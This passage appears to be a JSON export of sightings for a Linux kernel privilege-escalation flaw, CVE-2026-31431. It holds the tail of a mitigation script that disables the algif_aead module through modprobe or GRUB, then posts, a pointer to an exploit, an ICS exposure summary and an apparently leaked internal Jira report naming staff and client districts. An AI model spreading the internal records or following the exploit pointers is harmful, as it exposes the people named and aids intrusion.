INITRAMFS_CMD=\"\"\nfi\n\n# ---------------------------------------------------------------------------\n# Detect GRUB config tool and target config path\n# ---------------------------------------------------------------------------\nif command -v grub2-mkconfig >/dev/null 2>&1; then\n    GRUB_MKCFG=\"grub2-mkconfig\"\nelif command -v grub-mkconfig >/dev/null 2>&1; then\n    GRUB_MKCFG=\"grub-mkconfig\"\nelse\n    GRUB_MKCFG=\"\"\nfi\n\n# grubby is the preferred kernel-cmdline tool on RHEL/CentOS/Fedora;\n# it handles both legacy GRUB and BLS (Boot Loader Specification) entries.\nif command -v grubby >/dev/null 2>&1; then\n    GRUB_KERNEL_TOOL=\"grubby\"\nelse\n    GRUB_KERNEL_TOOL=\"grub\"\nfi\n\ndetect_grub_cfg_path() {\n    if [ -d /sys/firmware/efi ]; then\n        # Try distro-specific EFI path first to avoid picking the wrong entry\n        # when multiple distros share the same EFI partition.\n        local distro_id cfg\n        distro_id=$(. /etc/os-release 2>/dev/null && echo \"${ID:-}\" || echo \"\")\n        if [ -n \"$distro_id\" ] && [ -f \"/boot/efi/EFI/${distro_id}/grub.cfg\" ]; then\n            echo \"/boot/efi/EFI/${distro_id}/grub.cfg\"\n            return\n        fi\n        # Exclude the generic BOOT fallback directory to avoid stale entries.\n        cfg=$(find /boot/efi/EFI -maxdepth 2 -name \"grub.cfg\" 2>/dev/null \\\n            | grep -iv \"/BOOT/\" | head -1)\n        [ -z \"$cfg\" ] && cfg=$(find /boot/efi -name \"grub.cfg\" 2>/dev/null | head -1)\n        if [ -z \"$cfg\" ]; then\n            echo \"[-] UEFI boot detected but no grub.cfg found under /boot/efi\" >&2\n            exit 1\n        fi\n        echo \"$cfg\"\n    elif [ -f /boot/grub2/grub.cfg ]; then\n        echo \"/boot/grub2/grub.cfg\"\n    elif [ -f /boot/grub/grub.cfg ]; then\n        echo \"/boot/grub/grub.cfg\"\n    else\n        echo \"[-] Cannot locate grub.cfg \u2014 searched /boot/grub2 and /boot/grub\" >&2\n        exit 1\n    fi\n}\n\n# ---------------------------------------------------------------------------\n# Read kernel config\n# ---------------------------------------------------------------------------\nKERNEL=$(uname -r)\nCONFIG_VAL=$(grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" /boot/config-\"$KERNEL\" 2>/dev/null \\\n    || zcat /proc/config.gz 2>/dev/null | grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" \\\n    || echo \"NOT_FOUND\")\n\necho \"[*] Distro : $DISTRO\"\necho \"[*] Kernel : $KERNEL\"\necho \"[*] CONFIG_CRYPTO_USER_API_AEAD: $CONFIG_VAL\"\necho \"[*] initramfs tool: ${INITRAMFS_CMD:-NOT FOUND}\"\necho \"[*] GRUB mkconfig : ${GRUB_MKCFG:-NOT FOUND}\"\necho \"[*] kernel cmdline: ${GRUB_KERNEL_TOOL}\"\necho \"\"\n\n# ---------------------------------------------------------------------------\ncase \"$CONFIG_VAL\" in\n\n    CONFIG_CRYPTO_USER_API_AEAD=m)\n        echo \"[*] Module mode \u2014 rmmod + blacklist + initramfs rebuild\"\n\n        # Unload with modprobe -r to handle dependencies gracefully.\n        # Do NOT exit if unload fails (e.g. module in use, container) \u2014\n        # the blacklist still prevents reload after next reboot.\n        if lsmod | grep -q \"^algif_aead\"; then\n            if modprobe -r algif_aead 2>/dev/null; then\n                echo \"[+] algif_aead unloaded\"\n            else\n                echo \"[!] Could not unload algif_aead (module in use or insufficient privileges)\"\n                echo \"    Blacklist will prevent reload. Reboot to fully apply.\"\n            fi\n        else\n            echo \"[*] algif_aead not currently loaded, skipping unload\"\n        fi\n\n        BLACKLIST_FILE=\"/etc/modprobe.d/disable-algif_aead.conf\"\n        if [ -f \"$BLACKLIST_FILE\" ]; then\n            echo \"[*] Blacklist already present at $BLACKLIST_FILE\"\n        else\n            echo \"install algif_aead /bin/false\" | tee \"$BLACKLIST_FILE\" > /dev/null\n            echo \"[+] Blacklisted at $BLACKLIST_FILE\"\n\n            if [ -z \"$INITRAMFS_CMD\" ]; then\n                echo \"[-] No initramfs rebuild tool found (dracut / update-initramfs / mkinitcpio).\" >&2\n                echo \"    Rebuild initramfs manually before next boot.\" >&2\n            else\n                $INITRAMFS_CMD\n                echo \"[+] initramfs rebuilt ($INITRAMFS_CMD)\"\n            fi\n        fi\n        ;;\n\n    CONFIG_CRYPTO_USER_API_AEAD=y)\n        echo \"[!] Built-in mode \u2014 must use initcall_blacklist via GRUB kernel cmdline\"\n\n        PARAM=\"initcall_blacklist=algif_aead_init\"\n\n        if [ \"$GRUB_KERNEL_TOOL\" = \"grubby\" ]; then\n            # RHEL / CentOS / Fedora: grubby handles both legacy GRUB and BLS entries.\n            if grubby --info=ALL 2>/dev/null | grep -qF \"$PARAM\"; then\n                echo \"[*] $PARAM already present in kernel args (grubby), skipping\"\n            else\n                grubby --update-kernel=ALL --args=\"$PARAM\"\n                echo \"[+] Added $PARAM to all kernel entries via grubby\"\n                echo \"[+] Reboot to apply. Verify: cat /proc/cmdline | grep initcall_blacklist\"\n            fi\n        else\n            # Debian / Ubuntu / Arch / SUSE: edit /etc/default/grub then mkconfig\n            GRUB_FILE=\"/etc/default/grub\"\n\n            if ! [ -f \"$GRUB_FILE\" ]; then\n                echo \"[-] $GRUB_FILE not found \u2014 cannot configure GRUB automatically.\" >&2\n                echo \"    Add '$PARAM' to your bootloader's kernel command line manually.\" >&2\n                exit 1\n            fi\n\n            if grep -q \"$PARAM\" \"$GRUB_FILE\"; then\n                echo \"[*] $PARAM already present in $GRUB_FILE, skipping\"\n            else\n                # Prefer GRUB_CMDLINE_LINUX (all entries) over _DEFAULT (default entry only)\n                if grep -q \"^GRUB_CMDLINE_LINUX=\" \"$GRUB_FILE\"; then\n                    GRUB_VAR=\"GRUB_CMDLINE_LINUX\"\n                elif grep -q \"^GRUB_CMDLINE_LINUX_DEFAULT=\" \"$GRUB_FILE\"; then\n                    GRUB_VAR=\"GRUB_CMDLINE_LINUX_DEFAULT\"\n                else\n                    echo \"[-] Neither GRUB_CMDLINE_LINUX nor GRUB_CMDLINE_LINUX_DEFAULT found in $GRUB_FILE\" >&2\n                    echo \"    Add '$PARAM' to your bootloader's kernel command line manually.\" >&2\n                    exit 1\n                fi\n\n                sed -i \"s|\\(${GRUB_VAR}=\\\"[^\\\"]*\\)\\\"|\\1 ${PARAM}\\\"|\" \"$GRUB_FILE\"\n\n                # Verify the parameter was actually inserted\n                if ! grep -q \"$PARAM\" \"$GRUB_FILE\"; then\n                    echo \"[-] sed substitution failed \u2014 $PARAM not found in $GRUB_FILE after edit.\" >&2\n                    echo \"    Add '$PARAM' to ${GRUB_VAR} in $GRUB_FILE manually.\" >&2\n                    exit 1\n                fi\n                echo \"[+] Added $PARAM to $GRUB_VAR in $GRUB_FILE\"\n\n                if [ -z \"$GRUB_MKCFG\" ]; then\n                    echo \"[-] No GRUB config tool found (grub2-mkconfig / grub-mkconfig).\" >&2\n                    echo \"    Regenerate your GRUB config manually before rebooting.\" >&2\n                    exit 1\n                fi\n\n                GRUB_CFG=$(detect_grub_cfg_path)\n                echo \"[*] Regenerating GRUB config at $GRUB_CFG\"\n                $GRUB_MKCFG -o \"$GRUB_CFG\"\n                echo \"[+] GRUB updated \u2014 reboot required to apply\"\n                echo \"    After reboot, verify with: cat /proc/cmdline | grep initcall_blacklist\"\n            fi\n        fi\n        ;;\n\n    NOT_FOUND)\n        echo \"[-] Kernel config not found.\" >&2\n        echo \"    Try: grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$KERNEL\" >&2\n        exit 1\n        ;;\n\n    *)\n        echo \"[-] Unexpected config value: $CONFIG_VAL\" >&2\n        exit 1\n        ;;\nesac\n\n# ---------------------------------------------------------------------------\n# Verification\n# ---------------------------------------------------------------------------\necho \"\"\necho \"[+] Done.\"\n\ncase \"$CONFIG_VAL\" in\n    CONFIG_CRYPTO_USER_API_AEAD=m)\n        if lsmod | grep -q \"^algif_aead\"; then\n            echo \"[!] WARNING: algif_aead is still loaded \u2014 unload failed.\"\n        else\n            echo \"[+] algif_aead is NOT loaded. Workaround active immediately.\"\n        fi\n        ;;\n    CONFIG_CRYPTO_USER_API_AEAD=y)\n        echo \"[*] Built-in module \u2014 workaround takes effect after reboot.\"\n        echo \"    Post-reboot check: cat /proc/cmdline | grep initcall_blacklist\"\n        ;;\nesac", "creation_timestamp": "2026-05-05T12:01:42.000000Z"}, {"uuid": "d3d42c43-dcd4-4b15-97b9-ff9fbf82e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3ml46kgtazk2d", "content": "Presenting, for absolutely no reason at all, CVE-2026-31431 as a 587-byte x86_64 static ELF:\ngithub.com/Rat5ak/CVE-2...", "creation_timestamp": "2026-05-05T12:24:28.936091Z"}, {"uuid": "65c9b4b6-ec69-4a55-a6bc-93b601a36bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qLtl-ESgxngd0KdCJZLq4iZUn677J7G_lqnf1Nr9VcS_CEGq", "content": "", "creation_timestamp": "2026-05-05T11:26:46.000000Z"}, {"uuid": "5e7f64c5-b9f8-4e62-91c3-37e08ad4cd40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AdvisoryICS/statuses/116522501138000759", "content": "ICSAP Analysis Report | ICSAP-AN-26-001 - Read full report at : https://drive.google.com/file/d/1v5RWBFT0cHFUDkUhM0enwh3t1PdOGVcv/view\nReading Between the Advisories: Linux Kernel CVE-2026-31431 in the ICS Ecosystem\nCVE-2026-31431 (\"Copy Fail\") was added to CISA's KEV Catalog on May 1. Theori's Xint Code research team disclosed it on April 29. It's a 9-year-old logic flaw in the Linux kernel's algif_aead module that lets any unprivileged local user escalate to root using a 732-byte Python script. The same exploit works on Ubuntu, Amazon Linux, RHEL, and SUSE without modification.\nThe mainstream security community has covered this well. What hasn't been written is the ICS angle.\nWe reviewed both the CISA ICS Advisory dataset (3,800 advisories since 2010) and the ICS[AP] Other CERT and Vendor ICS Advisories dataset (12,468 advisories) to see which industrial control system products have documented Linux exposure to this CVE.\nThree observations:\nOnly 0.8% of CISA ICS advisories have ever explicitly mentioned Linux, the kernel, or embedded Linux components. Across 3,800 advisories, only two disclose a specific kernel version, and both are end-of-life branches.\nSchneider Electric (234 CISA advisories, zero Linux mentions), Rockwell Automation (246, zero), Mitsubishi Electric (119, zero), Hitachi Energy (103, zero), and Moxa (53, zero) have published nothing about Linux in their CISA advisory text, despite shipping Linux-based product lines per their own technical documentation.\nContainer escape applies. CODESYS Control containers, Advantech IoTSuite Edge dockers, Bosch Rexroth ctrlX CORE container apps, and similar containerized industrial edge platforms are subject to the container-breakout behavior identified in Microsoft Defender's published analysis.\nAsset owners cannot rely on advisory text to assess exposure. Direct vendor PSIRT engagement is the only defensible path. As of publication, no major ICS vendor has published a CVE-2026-31431-specific advisory.\nICSAP-AN-26-001 is the inaugural ICSAP Analysis Report. It covers the CVE technical mechanism with primary-source attribution to Theori, a Tier 1A list of 16 ICS product lines with documented Linux exposure, a Tier 2 list of 14 vendors whose Linux products do not surface in advisory text, and practitioner guidance for the next four to six weeks.\nRead the full report at icsadvisoryproject.com.\n#ICS #OTSecurity #CriticalInfrastructure #LinuxKernel #CopyFail #VulnerabilityManagement", "creation_timestamp": "2026-05-05T14:44:29.825760Z"}, {"uuid": "42ca6181-95ab-4113-92a5-39a8313ea1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/advisoryics.bsky.social/post/3ml4gr4dibs2h", "content": "CVE-2026-31431 ('Copy Fail') added to CISA KEV May 1. Theori's Xint Code disclosed this 9-year-old Linux kernel LPE on 4/29.\n\nWe reviewed 3,800 CISA ICS + 12,468 vendor advisories for ICS Linux exposure.\n\nICSAP-AN-26-001: www.icsadvisoryproject.com/ics-advisory...\n\n#ICS #OTSecurity #CopyFail", "creation_timestamp": "2026-05-05T14:51:24.220529Z"}, {"uuid": "973bd5de-31e9-4068-bd42-77487f39919b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3ml4jro6tix2d", "content": "Linux kernel flaw CVE-2026-31431 exploited for root access; MOVEit CVE-2026-4670 enables remote breaches; DigiCert revokes 60 certificates after Zhong Stealer exposure; Pentagon advances AI security partnerships. #LinuxSecurity #DataCenter #USA", "creation_timestamp": "2026-05-05T15:45:21.277675Z"}, {"uuid": "9bfcebfb-28cb-41c8-a422-420c19e259f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/picalily.bsky.social/post/3ml4hlv3qls2p", "content": "Does that have the CVE-2026-31431 vulnerability and how easy is the patch?", "creation_timestamp": "2026-05-05T15:06:24.642651Z"}, {"uuid": "e41637fd-a994-40db-96c7-fdf669287f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/a5ee4122335571c44ee1ffb6cbb97b4a", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 05, 2026 at 06:32 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n6\n\nIM \u2014 Incident Management\n2\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 1\n                    \n\n                      DO-2044\n                      East Allen, IN - RDS Absence codes not saving\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \nTask 5\n                    \n\n                      DO-2046\n                      Alamance, NC - Please turn on User Defined Reports\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2043\n                      SharedServices, ON - Student Import module broken\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n4\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2035\n                      Johnston, NC - unable to access Driver Portal web\n                      Brandon Donnelson\n                      May 4, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \nTask 1\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 4, '26\n                      May 4, '26\n                      Backlog\n                    \n\n\n\nDO \u2014 Edulog DevOps\n7\n\nIM \u2014 Incident Management\n15\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                7 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 6\n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                15 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 15\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7547\n                      Rochambeau, MD - Busses 203/204 have not had movement in Parent Porta Lite since 7:30 PM on 4/27\n                      Josiah Brown\n                      Apr 29, '26\n                      May 4, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-2005\n                      Staging-epic-FR3-eks: Bell Time task creation throws ERROR_LOADING_CONTEXT\n                      Vader\n                      Apr 27, '26\n                      Apr 27, '26 (6d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    